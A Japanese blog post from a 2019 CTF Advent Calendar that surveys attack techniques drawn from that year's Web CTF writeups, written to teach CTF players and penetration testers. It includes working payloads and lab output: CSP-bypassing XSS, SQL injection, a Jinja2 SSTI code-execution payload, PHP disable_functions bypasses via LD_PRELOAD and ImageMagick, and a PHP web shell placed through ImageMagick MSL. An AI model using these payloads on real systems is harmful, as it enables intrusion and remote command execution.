こんとろーるしーこんとろーるぶい

週末にカチャカチャッターン!したことを貼り付けていくブログ

【2019年】CTF Web問題の攻撃手法まとめ (Web問題のwriteupぜんぶ読む)

CTF Advent Calendar 2019 - Adventarの25日目の記事です。
1つ前は@ptr-yudai氏の2019年のpwn問を全部解くチャレンジ【後半戦】 - CTFするぞでした。


はじめに

昨年に引き続き、今年も2019年のCTFイベントで出題されたWeb問題のwriteupを全部読んで、 新しく知った攻撃手法や特徴的な問題をピックアップして紹介します。

昨年の記事はこちらです。
graneed.hatenablog.com

対象イベント

対象のイベントの条件は以下のとおりです。

  • 2019年1月1日~12月24日(本記事の執筆時点)までに開催されたイベントであること。
  • Online開催であること。
  • Jeopardy形式であること。
  • Web問題であること。

昨年はCTFTimeに登録されているwriteupのみを対象にしていましたが、今年はそのほかにも[CTF writeup イベント名 問題名]をキーワードにgoogle検索してwriteupを探しました。

問題数

確認できたWeb問題数は419問、その中でwriteupがあるWeb問題数は372問 (全Web問題数の88.8%)でした。

なお、昨年はSQLiやXSSといった脆弱性タイプの出現数をカウントしてランク付けを行いましたが、労力がかかった割には有益では無かったため、今年は割愛し、その代わりに具体的な攻撃手法の紹介を増やしました。

読み方、使い方

量が膨大ですが、 大まかに攻撃手法ごとに分類していますので、好きなところから読み始めて頂ければと思います。 また、CTFで詰まった時に攻撃の取っ掛かりを探すために参照頂いたり、Webアプリケーションの脆弱性診断やバグバウンティでも活用できる部分があるかと思います。

それぞれ簡単に解説やPoCの結果を記載していますが、writeupのリンクも付けていますので、更に具体的な手法やコードを確認したい場合はそちらを参照ください。

では、さっそく本題にいきます。

Cross-Site Scripting(XSS)

SVGファイルを利用したCSPバイパス

CSPの設定で自ドメインスクリプトしか実行できないが、画像ファイルのアップロードが可能な場合に、XSSを行う手法です。

SVGファイルはXML形式、つまりHTMLと同じくタグ記法のファイル形式であるため、scriptタグで任意のJavaScriptを埋め込み可能です。

<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg ...>  
   <script>
      alert(1);
   </script>
</svg>

GoogleドメインJSONPを利用したCSPバイパス

CSPの設定でGoogleドメインが許可されている場合に、XSSを行う手法です。

Googleドメイン上に、JSONPを返すコンテンツがあるため、それを使用して任意のcallback関数を呼んでもらいます。

root@kali:~# curl https://www.google.com/jsapi?callback=alert
if(!window['googleLT_']){window['googleLT_']=(new Date()).getTime();}if (!window['google']) {
window['google'] = {};
}
(snip)
{":1":"1.6.1",":1.1":"1.1.1",":1.2":"1.2.3",":1.3":"1.3.2",":1.4":"1.4.3",":1.5":"1.5.1",":1.6":"1.6.1",":1.7":"1.7.2"}}});
}
alert();

root@kali:~# curl "https://accounts.google.com/o/oauth2/revoke?callback=alert()"
// API callback
alert()({
  "error": {
    "code": 400,
    "message": "Invalid JSONP callback name: 'alert()'; only alphabet, number, '_', '$', '.', '[' and ']' are allowed.",
    "status": "INVALID_ARGUMENT"
  }
}
);

こういうことですね。

サブリソース完全性(SRI)機能を利用した入力チェックバイパス

Chrome77から実装された、<link rel="preload">使用時のサブリソース完全性機能を悪用し、わざとチェックを失敗させることで、 画面ロード時のスクリプトの処理順序を変更させて、入力チェックをバイパスする手法です。

Chrome拡張機能のパスワードマネージャーKeePassの悪用

パスワードマネージャーKeePassが自動で入力補完したクレデンシャル情報を窃取する手法です。 これは問題のアイデアに感心しました。

HTML likeコメントを使用したコメントアウト

<記号と/記号がフィルタされている場合に、ブラウザの後方互換性向けの仕様であるHTML likeコメントを使用したコメントアウトにより、JavaScriptの構文エラーを発生させない手法です。

https://jsprimer.net/basic/comments/#html-like-comment から例を抜粋させて頂きます。

<!-- この行はコメントと認識される
console.log("この行はJavaScriptのコードとして実行される");
-->  この行もコメントと認識される

1行目はわかりますが、3行目の>から先もコメントアウトと認識されるのが意外でした。

仕様は以下のリンク先を参照してください。
https://www.ecma-international.org/ecma-262/10.0/index.html#prod-annexB-HTMLCloseComment

jQuery.getJSONのJSONP機能を使用したスクリプト実行

URLにcallback=?を付与すると、jQuery.getJSONでロードするコンテンツをJSONPとして解釈するという仕様を使い、任意のスクリプトを実行する手法です。

仕様は以下のリンク先を参照してください。
https://api.jquery.com/jQuery.getJSON/

DOM Clobberingによるコードハイジャック

DOM Clobberingを利用した手法ですが、まだ解説できるほど理解できていないため、writeupのみの紹介です。

以下のつばめ氏のDOM Clobberingの解説記事および参考資料に目を通して基礎を理解してから読みたいと思います。
https://diary.shift-js.info/dom-clobbering/

Service Workerを利用したスクリプト実行

昨年の記事でもService Workerを使用した手法を紹介しましたが、今年も何問か出題されています。 まだ私自身が使いこなせていないため、練習しておいてスッと使えるようになりたいですね。

XSS Auditor機能のバイパス

Chrome 78から削除されたXSS Auditor機能をバイパスする手法です。

残念ながら、今後同じような問題が出ることは無さそうですが、もしも機能が復活したときに備えて紹介します。

Cross-Site Request Forgeries(CSRF)

HTML5ping属性によるPOSTリクエスト発行

この問題で初めて知ったのですが、HTML5のaタグにping属性があります。 リンク先に遷移するタイミングで、指定したURLにPOSTリクエストを投げることが可能です。 POSTリクエストかどうかのチェックをバイパスしています。

仕様は以下のリンク先を参照してください。
https://developer.mozilla.org/ja/docs/Web/HTML/Element/a

ちなみにping属性の設定先に送信されるデータを確認してみました。 192.168.1.6のWebページからexample.comにリンクを張り、pingの送り先はrequest.binに設定しました。 f:id:graneed:20191229075532p:plain Bodyに色々情報が入っていると思いきや「PING」だけですね。

CSS Injection

Sequential Import Chaining

昨年は、Google CTFやSECCONなど、複数の大会でCSS Injectionを利用する問題が出題されました。

単純なCSS Injectionは、1回のアクセスで1文字しか特定できないため、 アクセスするたびにtokenが変わるケースや、アクセス数に制約があると成立しません。 そこで、@importを使用して再帰的にCSSをimportさせることで、1回のアクセスで複数文字を窃取する手法があります。

手法の解説は以下の記事が参考になります。
https://medium.com/@d0nut/better-exfiltration-via-html-injection-31c72a2dae8b
ツールも公開されています。
https://github.com/d0nutptr/sic

また、今年のAVTokyoではmage氏が応用手法を発表されていました。
http://ja.avtokyo.org/avtokyo2019/speakers#mage
ツールも公開されています。
https://github.com/m---/onsen

SQL Injection

Error-Based SQL Injection

~(False)bigint(unsigned)の最大値になるため、+1するとエラーになります。よって、括弧の中にBooleanを返すselect文をセットしてError-Based SQL Injectionができます。

mysql> select * from user where user=''-(~(select 1=1)+1);
Empty set, 5 warnings (0.00 sec)

mysql> select * from user where user=''-(~(select 1=2)+1);
ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '(~((1 = 2)) + 1)'

GBKマルチバイト文字を使用した'記号のエスケープのバイパス

'記号の入力チェックがされている場合に、マルチバイト文字を使用してバイパスする手法です。

%bf%27addslashes関数に渡すと、%27('記号)をエスケープするために%5c(\記号)を付けます。 すると、%bf%5c%27になりますが、%bf%5cが中国の文字コードであるGBKにある2バイト文字として解釈されます。 後ろの%27('記号)がそのまま残るため、SQL Injectionに使用できるという手法です。

手法の解説は以下の記事が参考になります。
http://www.securityidiots.com/Web-Pentest/SQL-Injection/addslashes-bypass-sql-injection.html

Remote Code Execution(RCE)

open_basedirをバイパスしてディレクトリリスティング

RCEができてから、phpopen_basedirまたはdisable_functionsにより、FLAGが読めない/シェルが取れないよう制限されている問題が多数ありました。 その制限をバイパスする手法をいくつか紹介します。

open_basedirの制限がかかっている場合に、globを使用してディレクトリとファイル名をリスティングする手法です。

root@kali:/tmp# grep -e ^open_basedir ./php_open_basedir.ini
open_basedir = /tmp

root@kali:/tmp# php -a -c ./php_open_basedir.ini
Interactive mode enabled

php > $it = new DirectoryIterator("glob:///var/*");
PHP Warning:  Uncaught UnexpectedValueException: DirectoryIterator::__construct(): open_basedir restriction in effect. File(/var/*) is not within the allowed path(s): (/tmp) in php shell code:1
Stack trace:
#0 php shell code(1): DirectoryIterator->__construct('glob:///var/*')
#1 {main}
  thrown in php shell code on line 1

php > $it = new DirectoryIterator("glob:///va?/*");

php > foreach($it as $f){echo "{$f}\n";}
backups
cache
lib
local
lock
log
mail
opt
run
spool
tmp
www

open_basedirをバイパスしてファイル読み込み

上述の手法はリスティングまででしたが、ファイル内容の読み取りもできる手法です。

ImageMagickdelegate.xmlを使用したdisable_functionのバイパス

disable_functionsでOSコマンド実行系の関数を抑止されている場合に、 任意のOSコマンド実行を設定したImageMagickdelegate.xmlファイルを作成してから、 ImageMagickインスタンスを生成することで、任意のOSコマンド実行をする手法です。

root@kali:/tmp# grep -e ^disable_function ./php_disable_function.ini
disable_functions = system, exec, shell_exec, passthru, popen, proc_open, pcntl_exec


root@kali:/tmp# php -a -c ./php_disable_function.ini
Interactive mode enabled

php > system("id");
PHP Warning:  system() has been disabled for security reasons in php shell code on line 1

php > file_put_contents("delegates.xml","<delegatemap>\n<delegate decode=\"hoge\" command=\"id\"/>\n</delegatemap>");

php > file_put_contents("a.hoge","1234");

php > putenv('MAGICK_CONFIGURE_PATH=./');

php > $img = new Imagick('/tmp/a.hoge');
uid=0(root) gid=0(root) groups=0(root)
PHP Warning:  Uncaught ImagickException: unable to open image `/tmp/magick-985377-UH__aWNsvfz': No such file or directory @ error/blob.c/OpenBlob/2874 in php shell code:1
Stack trace:
#0 php shell code(1): Imagick->__construct('/tmp/a.hoge')
#1 {main}
  thrown in php shell code on line 1

PHP-FPMのUNIXドメインソケットファイルを使用したdisable_functionsのバイパス

disable_functionsでOSコマンド実行系の関数を抑止されている場合に、 UNIXドメインソケットファイルを経由して任意のOSコマンド実行をする手法です。

2つのwriteupともに、ソケットファイルに書き込むデータはGopherusで生成したペイロードを利用しているようです。
https://github.com/tarunkant/Gopherus

LD_PRELOADを使用したdisable_functionsのバイパス

disable_functionsでOSコマンド実行系の関数を抑止されているが、ファイルのアップロードが可能かつputenv関数で環境変数を設定可能な場合に、 LD_PRELOAD環境変数を上書きしてsoファイルをロードさせて、任意のOSコマンド実行をする手法です。

root@kali:~/CTF/Lab# cat exploit.c
#include <unistd.h>
#include <sys/types.h>
#include <stdio.h>
#include <stdlib.h>

uid_t getuid(void){
    unsetenv("LD_PRELOAD");
    system("id");
    return 1;
}

root@kali:~/CTF/Lab# gcc -shared exploit.c -o exploit.so

root@kali:~/CTF/Lab# php -a -c ./php_disable_function.ini
Interactive mode enabled

php > putenv('LD_PRELOAD=./exploit.so');
php > mail('a','a','a','a');
uid=0(root) gid=0(root) groups=0(root)

手法の解説は以下の記事が参考になります。
https://github.com/yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD/

ツールもあります。
https://github.com/TarlogicSecurity/Chankro/

多くの問題で使用されています。非想定の解法としても使用されており、使いこなしたい手法の一つです。

MySQL Client Attack

MySQLの接続時に、MySQLサーバからクライアントにファイル読み取り要求を返すことで、クライアントのファイルを窃取することが可能な脆弱性がありました。 そこで、別の脆弱性を使用して、ターゲットサーバのWebアプリケーション(MySQLクライアント)の接続先を自分のMySQLサーバに向けさせて、FLAGファイルの読み取り要求を返すことで、FLAGファイルを窃取する手法です。 なお、MySQLクライアントの最新版では既に修正されています。

ツール化もされています。
https://github.com/lcark/MysqlClientAttack

MySQL Client Attack Chain

MySQL Client Atttackの応用編で、あらかじめ別の方法でpharファイルをターゲットサーバに配備してから、phar:///tmp/filename.pharの形式でpharファイル読み取り要求を返すことで、ターゲットサーバ内でpharファイルのunserializeが走り、pharファイル内に仕込んだコードを実行させる手法です。

https://github.com/knownsec/404-Team-ShowCase/blob/master/20190801-TSec-Comprehensive%20analysis%20of%20the%20mysql%20client%20attack%20chain(%E5%85%AC%E5%BC%80%E7%89%88).pdf

ImageMagickのMagnificent Shell Landing(MSL)を利用したWebShell配置

ImageMagickがサポートしているMSLという形式のファイルにconvert機能をかけると、画像ファイルのコピーができます。

別途、WebShellのコードを埋め込んだ画像ファイルを用意しておくことで、 WebサーバにWebShellを配置することができます。

root@kali:/var/www/html/upload# ll
total 88
-rw-r--r-- 1 root root   270 Dec 29 09:35 exploit1.svg
-rw-r--r-- 1 root root   163 Dec 29 09:36 exploit2.svg
-rw-r--r-- 1 root root 80461 Dec 29 09:34 shell.png

root@kali:/var/www/html/upload# cat exploit1.svg
<?xml version="1.0" encoding="UTF-8" ?>
<!-- <svg> -->
<image>
  <read filename="/var/www/html/upload/shell.png" />
  <write filename="/var/www/html/shell.php" />
  <svg width="120px" height="120px">
    <image href="/var/www/html/upload/shell.png" />
  </svg>
</image>

root@kali:/var/www/html/upload# cat exploit2.svg
<?xml version="1.0" encoding="UTF-8"?>
<svg width="120px" height="120px">
  <image width="120" height="120" href="msl:/var/www/html/upload/exploit1.svg" />
</svg>

root@kali:/var/www/html/upload# strings shell.png | grep cmd
<?php system($_GET["cmd"]); ?>

root@kali:/var/www/html/upload# convert exploit2.svg -thumbnail
Aborted

root@kali:/var/www/html/upload# strings /var/www/html/shell.php | grep cmd
<?php system($_GET["cmd"]); ?>

root@kali:/var/www/html/upload# curl localhost/shell.php?cmd=id --output -
(snip)
id=33(www-data) gid=33(www-data) groups=33(www-data)

%tEXtdate:create2019-12-29T09:46:49+09:00/%tEXtdate:modify2019-12-29T09:46:49+09:00S
                                                                                    IENDB`

timing attackによる情報リーク

任意のコードが実行できるが、その結果を直接得られない場合に、 Blind SQL Injectionのように、sleep関数を使用してFLAGファイルを1文字ずつ特定する手法です。

__import__('time').sleep(3) if ord(open('/flag').read()[3]) > 67 else None

Server-Side Template Injection(SSTI)

プロパティの自動探索

SSTIの脆弱性を見つけてから、目的のプロパティにアクセスするまでの道のりが険しい場合があります。 そのようなときに使用可能なスクリプトが、昨年のTokyoWesterns CTF 4th 2018のShrineのwriteupで公開されていました。
https://ctftime.org/writeup/10851

このスクリプトを使用して解くwriteupがありました。

evalの自動探索

SSTIの脆弱性を使用して、OSコマンド実行するためのペイロードは数多く公開されていますが、 __subclasses__()が返すリストの順序が環境によって違っていたりと、環境に合わせたチューニングが面倒な場合があります。

https://github.com/w181496/Web-CTF-Cheatsheet#flaskjinja2に、自動でeval関数を探して実行するペイロード例がありました。

{% for c in [].__class__.__base__.__subclasses__() %}
  {% if c.__name__ == 'catch_warnings' %}
    {% for b in c.__init__.__globals__.values() %}
    {% if b.__class__ == {}.__class__ %}
      {% if 'eval' in b.keys() %}
        {{ b['eval']('__import__("os").popen("id").read()') }}
      {% endif %}
    {% endif %}
    {% endfor %}
  {% endif %}
{% endfor %}

flaskのセッションデコード/エンコード

flask環境でSSTIが成功してSECRET_KEYを窃取した後、セッションを改ざんする場合に、flaskセッションのデコード/エンコードが必要になります。

[flask session decode]等のキーワードでgoogle検索するとツールは多数ありますが、強豪チームのBalsnがflask-unsignというツールを使用していました。
https://github.com/Paradoxis/Flask-Unsign

SECRET_KEYブルートフォースに対応したツールは珍しかったので紹介です。 以下のwriteupではキチンとSECRET_KEYを特定していますが、クソ問guessingが必要な問題が出題された場合に使用できるかもしれません。

フィルターのバイパス

昨年、SSTIの脆弱性があって、フィルター機能をバイパスする問題が多数出題されていました。 今年も何問かありましたが、以下のような結構強めのフィルタをバイパスする問題があったので紹介します。

blacklist = ["config", "self", "request", "[", "]", '"', "_", "+", " ", "join", "%", "%25"]

以下の記事で、バイパス手法がまとまっています。
https://0day.work/jinja2-template-injection-filter-bypasses/

Server-Side Includes (SSI) Injection

この問題で初めて知ったのですが、Server-Side Includesを使用して、サーバ内のファイルを窃取する手法です。

https://en.wikipedia.org/wiki/Server_Side_Includes

Apache HTTP Serverでは、拡張子を.shtmlにするか、SSIを許可する設定が必要となるため、使用できるシーンは中々なさそうですが、ワンチャンあるかもしれないので覚えておくとよさそうです。

Server-Side Request Forgery(SSRF)

RedisにHTTPでアクセス

SSRFの脆弱性を発見後、ネットワーク内部でRedisのポート(6379)が開いている場合に、HTTPリクエストを使用してRedisから情報を窃取する手法です。

手法の解説は以下の記事が参考になります。
https://www.agarri.fr/blog/archives/2014/09/11/trying_to_hack_redis_via_http_requests/index.html

gophertomcatの管理コンソールからWebShellをデプロイ

SSRFの脆弱性を発見後、tomcatの管理コンソールにアクセス可能、且つWARファイルのデプロイが可能な場合に、HTTPリクエストを使用してWebShellをデプロイする手法です。SSRFでおなじみのgopherを使用します。

自分で頑張ることもできますが、専用のツールが公開されています。
https://github.com/pimps/gopher-tomcat-deployer

WebRTC APIを使用してSTUNプロトコルでアクセス

最近のWebブラウザがサポートしているWebRTC APIを使用して、ネットワーク内部のポートにアクセスさせる手法です。

この問題は、インターネットからアクセス可能なWebサーバにURLを送ると、Headless ChromeがURLにアクセスしてくれます。 また、内部ネットワーク(インターネットから直接アクセスできないネットワーク)に、 6666番ポートでサービスが公開されていて、受信データをそのままOSコマンドとして実行してくれます。

6666番ポートにGETやPOSTでOSコマンドを送るJavaScriptを用意して、Headless Chromeにアクセスしてもらえば良さそうですが、 Chromeでは、HTTPでアクセス可能なポート番号に制限をかけているようです。

以下のリンク先を参照ください。この仕様は知らなかったです。
https://superuser.com/questions/188058/which-ports-are-considered-unsafe-by-chrome/188070#188070

そこで、HTTPではなく、WebRTC APIを使用してSTUNプロトコルでアクセスさせることで制限をバイパスしています。

XML External Entity(XXE)

Out-of-band XML External Entity (OOB-XXE)

XXEの脆弱性があるが、レスポンスに処理結果が返ってこない場合に、ターゲットから自分が管理するサーバに情報を送信させる使用する手法です。

手法の解説は以下の記事が参考になります。
https://www.acunetix.com/blog/articles/band-xml-external-entity-oob-xxe/
ツールが公開されています。
https://github.com/lc/230-OOB

サブドメインを使用した情報リーク

上記のOOB-XXEの応用編で、DNS以外のアウトバウンドへの通信が塞がれている場合に、 昨今のマルウェアやウィルス対策ソフトのように、DNSサブドメインを使用してリークさせる方法です。

SVGファイルのアップロードによるXXE

XML形式であるSVGファイルを使用してXXEを行う手法です。

サーバでloadXML関数を使用してSVGファイルを読み込んでいる場合、XXEが発動します。 XSSでもSVGファイルを使用してCSPをバイパスする手法を紹介しましたが、SVGファイルを活用するシーンが多そうです。

Directory Traversal

nginxの設定不備

nginxの設定にミスがあると、http://example.com/hoge/fuga../のような形で、1つ上の階層のファイルを参照できます。

以下のno1zy氏の記事が参考になります。
https://qiita.com/no1zy_sec/items/e541f1c838874ff400bb

Elasticsearch

その名のとおり、Elasticsearchに対する攻撃手法です。 EndpointにElasticsearchのAPIがいて、入力文字列がAPIのパスとしてセットされる場合に、パスを遡って他のインデックスも見ることができます。(当たり前といえば当たり前)

Cache Poisoning

HTTP/0.9のレスポンスをプロキシサーバにキャッシュ

HTTP/0.9でプロキシサーバ経由でページにアクセスし、 プロキシサーバにそのレスポンスデータをキャッシュさせることで、 任意のHTTPレスポンスヘッダーを持つページをターゲットに表示させる手法です。

HTTP/0.9ではHTTPステータスコードやHTTPレスポンスヘッダーを返さない挙動を利用しています。

拡張子偽装による動的ページのキャッシュ

http://example.com/index.php/hogeのようなパスでもindex.phpが動くような場合に、URLの最後を.cssのような静的ファイルの拡張子にしてアクセスすることで、攻撃者が表示したindex.phpをキャッシュの対象にし、その後、キャッシュをターゲットに表示させる手法です。

writeupでは、nonceによるCSPのチェックをパスするために使用しています。

index.phpがCSPでnonceを使用している場合に、http://example.com/index.php/hoge.cssのようなアクセスをすると、そのレスポンスでnonceが手に入り、同時にキャッシュに積まれます。そのキャッシュのnonceは攻撃者にとって既知となるため、adminにキャッシュを踏ませることで、XSS攻撃にnonceを使用できます。

Insecure Deserialization

PHP Generic Gadget Chains

昨年も紹介したPHPGGCですが、今年も使用する問題が出題されています。

PHPGGCは、unserializeに渡すと任意のコードを実行できるペイロードを生成できるツールです。 簡単に言うと、JavaのysoserialのPHP版です。

手法の解説は以下の記事が参考になります。
https://i.blackhat.com/us-18/Thu-August-9/us-18-Thomas-Its-A-PHP-Unserialization-Vulnerability-Jim-But-Not-As-We-Know-It-wp.pdf
ツールはこちらです。
https://github.com/ambionics/phpggc

PHPGGCは頻繁に更新されており、例えば以下のWeb 100の問題も、出題直前に更新されたガジェットにより簡単に解けるようになってしまったため、 急遽、難易度を上げるためにブラックリストによるフィルタ処理を追加したようです。 なお、ブラックリストは、ペイロードの中身を systemsyst\65mのように変換することでバイパスできたようです。

Foreign Function Interface(FFI)を使用したC関数の呼出し

PHP7.4の新仕様であるFFIを使用すると、PHPからCの関数を呼び出しできます。 この問題では、Insecure Deserializationでsystem関数を呼ぶように上書きした上で、任意のOSコマンドを実行する手法でした。

Regular expression Denial of Service(ReDoS)

ReDoSを使用した強制プロセス再起動

正規表現による評価処理の時間が指数関数的にかかるようなデータを送ることで、処理を遅延させたり、プロセスを落としたりする手法です。 ReDoSという手法は、この問題で初めて知りました。

手法の解説はWikipediaにお任せします。
https://en.wikipedia.org/wiki/ReDoS

オンラインで正規表現を試すことが可能なサービスがあるので試してみます。
https://regex101.com/
右上のstepsに注目してください。

f:id:graneed:20191229100418p:plain

f:id:graneed:20191229100215p:plain

f:id:graneed:20191229100225p:plain

このサービスでは一定時間がかかると途中で中断されますが、指数関数的に処理量が増大していることがわかります。

バックトラック処理の制限を利用したPCREチェックのバイパス

ReDoSを防ぐために、PHPではpcre.backtrack_limitでバックトラック処理の数に制限を設けています。

preg_match関数の返り値の説明を見てみます。
https://www.php.net/manual/ja/function.preg-match.php

f:id:graneed:20191229101306p:plain

なるほど。

例えば、以下のような実装をしているとします。

if(preg_match('/SELECT.+FROM.+/is', $input)) {
    die('Error');
}

SELECT flag FROM /*aaaaaaaaaaaaaa*/ flagのようなSQLで、aの部分を1文字増やすと1step増えます。 このstep数がpcre.backtrack_limitの制限にかかると、preg_match関数はFALSEを返却するため、if文の条件に合致せずにチェックをバイパスできます。

手法の解説は以下の記事が参考になります。
https://www.leavesongs.com/PENETRATION/use-pcre-backtrack-limit-to-bypass-restrict.html

Side Channel Attack

AV Oracle

Windows Defenderには、ファイル内のJavaScriptコード部分を内部エンジンで実行した上で悪性かどうかを判断する機能があり、 その機能を利用してマルウェア検知するかどうかを観察し、情報をリークする手法です。

TokyoWesternsのicchy氏が考案した手法であり、以下の資料が参考になります。
https://westerns.tokyo/wctf2019-gtf/wctf2019-gtf-slides.pdf

CODE BLUE 2019でもこの手法をテーマに登壇していました。
https://www.youtube.com/watch?v=EgKlBfk9H5s

CTFのWeb問題でWindows ServerやIISといった環境は滅多にないため、 バナー情報からこのような環境を確認できたときは、AV Oracleを使用する問題を疑ってもいいかもしれません。

XSS Auditor機能を悪用する手法です。 昨年末の35C3 CTFのfilemanagerで出題されて以降、何度か出題されましたが、Chrome 78から機能削除されてしまいました。

手法の解説は以下の記事が参考になります。
https://www.mbsd.jp/blog/20160407_2.html https://speakerdeck.com/lmt_swallow/gimme-a-bit-exploring-attacks-in-the-post-xss-world

typemustmatchを使用したXS-Leaks

typemustmatch属性を使用したXS-Leaksです。 FireFoxがこの属性をサポートしていましたが、Firefox 68から機能削除されてしまいました。

polyglot

polyglot自体の説明はWikipediaにお任せします。
https://en.wikipedia.org/wiki/Polyglot_(computing)

Wikipediaで説明されているような、1ファイルで異なるプログラミング言語を実装する問題以外に、 画像ファイル形式と目的のファイル形式の、両方で解釈できるファイルを作成する手法も、polyglotと呼んでいます。

今年は、pharファイル形式と画像ファイル形式を組み合わせる問題が多かったです。

Nodejs, python, phpのpolyglot

Nodejsとpythonphpのpolyglotをする問題です。

RCTF 2019から始まったcalcalcalcシリーズの問題で出題されていました。

wbmpと.htaccessファイルのpolyglot

.htaccessファイルとWireless Application Protocol Bitmap Format(wbmpファイル)のpolyglotを行い、 アップロード機能に画像ファイルかどうかのチェックがある場合に、 チェックをパスして.htaccessファイルをアップロードする手法です。

wbmpファイルのフォーマットは以下を参照ください。
https://ja.wikipedia.org/wiki/Wireless_Application_Protocol_Bitmap_Format

wbmpファイルは先頭にNULLバイト(\x00)を設定可能です。

.htaccessファイルはNULLバイトをコメントアウトの開始文字と見なすため、 ファイルの先頭から、wbmpファイル形式として解釈される必要最低限のデータを残し、改行コードで区切れば、 以降は任意の.htaccessファイルの定義が可能となります。

画像ファイルとpharファイルのpolyglot

pharファイルは、ファイルの途中に__HALT_COMPILER()があれば有効な形式として判断されるようです。 pharファイルの作成にあたり、Stubとしてファイルの先頭に任意のデータがセット可能であるため、 画像ファイルとして解釈されるデータをセットすることで、どちらでも解釈可能なファイルが作成できます。

手法の解説は以下の記事が参考になります。
https://www.nc-lp.com/blog/disguise-phar-packages-as-images

以下のwriteupのとおり、色々な画像ファイル形式が使用されています。

言語仕様系

プログラミング言語の仕様をよく確認して解く問題の紹介です。 これらの系統の問題は、よく練られており解いていて楽しいですね。

golangのslice

go言語のsliceを使用した実装で起こしやすいバグを利用して攻略する問題です。

sliceを関数の引数に渡した時の挙動は以下の記事が参考になります。
https://christina04.hatenablog.com/entry/2017/09/26/190000

sliceを複数スレッドで使用した際の挙動は以下の記事が参考になります。
https://medium.com/@cep21/gos-append-is-not-always-thread-safe-a3034db7975

RubyのDir.glob関数の仕様

RubyのDir.glob関数の仕様を確認し、 入力チェックにかからずにディレクトリリスティングやファイル読み込みが可能なペイロードを作成して攻略する問題です。

文字入力チェックのバイパス

XORで文字を生成

使用できる文字の種類に制限がある場合に、XORを使用して別の文字を生み出す方法です。

Unicode表現

JSONでパースする前のデータに対して入力チェックしている場合、Unicode表現(\uXXXX)でチェックをバイパス可能です。

数値文字参照とES6 Unicode literals表現

この問題は、1文字あたり1回しか使用できない制約がある中でXSSをするという面白い問題です。

この制約をクリアするために、数値文字参照とES6 Unicode literals表現を使用します。 例えば、以下のevalの中の文字列はnameを表しています。

<SVG/ONLoAD=eval(n&#97;m\u{65})>

CRとLF以外の改行コード

Unicodeには、<CR><LF>以外にも改行を意味する文字があります。

f:id:graneed:20191229101814p:plain

コマンドプロンプトで,記号を使用

Windowsコマンドプロンプトでは、コマンドに,記号が含まれる場合、以降の文字を2番目のパラメーターとして解釈します。(,を含む。)

これを利用すると、スペース記号なしでcurlコマンドが実行できます。 なお、,記号をURLから除外するために、@記号を使用して,BASIC認証のクレデンシャル情報にしています。

D:\>curl,@example.com
<!doctype html>
<html>
<head>
    <title>Example Domain</title>

Tools

攻撃手法に分類していませんが、writeupで使用されていて有用なツールの紹介です。

JSON Web Token Toolkit

JWTを、デコード、エンコード(署名)するだけであれば、色々なツールや方法がありますが、 このツールは、既知のエクスプロイトのテストや、辞書攻撃など、改ざんのための機能が揃っていて有用です。

https://github.com/ticarpi/jwt_tool

opensslコマンド等を使用してJWTを手作りするパターンも参考までに。

ascii-zip

出力結果がascii文字の範囲になるようなDeflate圧縮をするツールです。

https://github.com/molnarg/ascii-zip

Python random module cracker / predictor

pythonrandomモジュールの乱数を予測するツールです。

https://github.com/tna0y/Python-random-module-cracker

maskprocessor

hashcat用のマスクファイルを高速に生成するツールです。

https://hashcat.net/wiki/doku.php?id=maskprocessor

dvcs-ripper

Webサーバ上に公開されてしまっているバージョン管理システムリポジトリをダウンロードするツールです。 git用のツールはGitToolsが有名ですが、こちらのツールは他のバージョン管理システムもサポートしています。

https://github.com/kost/dvcs-ripper

Bazaarは、この問題で初めて知りました。

サーバ証明書の署名記録の検索サービス

サーバ証明書の署名記録からサブドメインを調査する問題です。

DEF CONの問題であったため、たくさんのwriteupがあり、色々なサービスが使用されていました。
https://transparencyreport.google.com/https/certificates
https://crt.sh/
https://securitytrails.com/

CyberChefのMagic

攻略して得られたFLAGと思わしいデータを、インドのEBCDIC(cp1137)を使用してデコードする問題です。

怪しいデータに直面したら、先頭の数バイトでGoogle検索して調べる他にも、 とりあえずCyberChefのMagicをかけてみるのが良いかもしれません。

この問題を例に試してみます。以下のデータが得られたとします。

\xc6\x93\x81\x87\xc0\xd7\xc8\xd7m\xe2\xa3\x99\x85\x81\x94\xa2m\x81\x99\x85m\xa3\xf0\xf0m\xd4\x81\x89\x95\xe2\xa3\x99\x85\x81\x94\xf0\xd0

Magicをかけてスクロールしてみていくと、Flag文字列が発見できます。

https://gchq.github.io/CyberChef/#recipe=From_Hex('Auto')Magic(3,true,false,'')&input=XHhjNlx4OTNceDgxXHg4N1x4YzBceGQ3XHhjOFx4ZDdtXHhlMlx4YTNceDk5XHg4NVx4ODFceDk0XHhhMm1ceDgxXHg5OVx4ODVtXHhhM1x4ZjBceGYwbVx4ZDRceDgxXHg4OVx4OTVceGUyXHhhM1x4OTlceDg1XHg4MVx4OTRceGYwXHhkMA

ユニークな問題

最後に、ユニークで印象に残った問題を紹介します。

SQLでWebサーバを構築した問題

本来、Webサーバで実施するべき、HTTPリクエストのパースやHTTPレスポンスの生成の処理を含め、全てを巨大なSQLで構築してしまった問題です。

writeupのこの感想が全てです。

No joke, the challenge is one large SQL file. That’s 1730 lines of pure SQL madness.

AWS S3アップロード機能を使用した問題

AWS S3には、ブラウザからHTTP POSTで直接ファイルをアップロードするインターフェースがあり、その機能を使用した問題です。 アップロードにあたりPolicyおよび署名を改ざんしています。

AWSの機能を使用した問題といえば、SSRFを使用して169.254.169.254のメタデータへアクセスする問題や、 パブリックのS3バケットにアクセスする問題がありましたが、このケースは初でした。 こういったパブリッククラウドのサービスに特化した知識も求められるのは面白いですね。

夏時間の切り替えタイミングを使用した問題

このイベントの開催期間が、夏時間の切り替えタイミングである10月の最終日曜日にかかっていることで実現できた問題です。 まさにtimewarp。

最後に

この記事では攻撃手法を軸に整理しましたが、高難度になればなるほど手法を覚えているだけでは解けず、 まずはソースコードやサービスの振る舞いから脆弱性を見つけないと解くことができません。
また、高難度の問題は、過去の別イベントで出た手法が使いまわされるケースは少なく、セキュリティ関連の記事、ホワイトペーパー、カンファレンス資料、各プログラミング言語のリファレンス、使用しているOSSソースコード、Stack Overflowなどの掲示板などを読み漁って手がかりを得ていく必要があります。
とは言え、部分的に手法を使用したり考え方の応用が効くケースもあると思いますので、WebのCTFerのお役に立てば幸いです。

